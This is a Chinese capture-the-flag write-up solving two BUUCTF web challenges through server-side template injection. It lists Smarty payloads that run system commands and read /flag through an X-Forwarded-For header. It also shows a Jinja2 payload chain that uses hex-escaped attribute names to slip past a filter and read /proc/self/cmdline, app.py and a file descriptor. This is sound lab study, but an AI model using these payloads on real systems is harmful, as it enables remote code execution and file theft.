BUUCTF(28)

198 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[CISCN2019 华东南赛区]Web11

今天偶尔一个比赛了解了一下smarty ssti

特地找个题加深一下

smarty是一个php的模板引擎,提供让程序逻辑与页面显示代码(css/html)分离的功能

这里要强调一下smarty模板的几个比较特殊的点

{if}

每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}, 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等

{literal}

php5可用,可以让一个模板区域的字符原样输出,经常用于保护页面上的javascrip或css样式表

这里给大家贴一下常用的payload

{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} 
。。。。。。。

我们来看这个题目,进入题目抓包发包可以看到提示,让我们get xff

于是我们就添加一个xff

X-Forwarded-For:{{7*7}}

可以看到有回显

于是我们利用上面提到的payload

X-Forwarded-For:{if show_source('/flag')}{/if}

发包就有flag

flag{bfca71f5-b967-4d89-92a5-44d15ba7b3e6}

至于为什莫要用smarty ssti,因为题目给了提示,往下下面有made by smarty

[pasecactf_2019]flask_ssti

提示flask ssti,而且进入有个输入框,于是我们测试

发现提交不了麻了,找了小原因发现是没有连接到在线JQuery库

第二天又做的

比如提交{{7*7}}

回显了49说明存在ssti,但是周围有很多奇怪的符号,怀疑过滤了啥,用平常的payload的打发现确实过滤了,试了一下发现'过滤,然后想到上个月hectf有个可以用16进制转换的题,于是试一下

将下面内容转化为16进制

__class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f

payload

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}

调用<class '_frozen_importlib_external.FileLoader'>

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/cmdline")}}

读app.py

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}

发现flag位置

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/fd/3")}}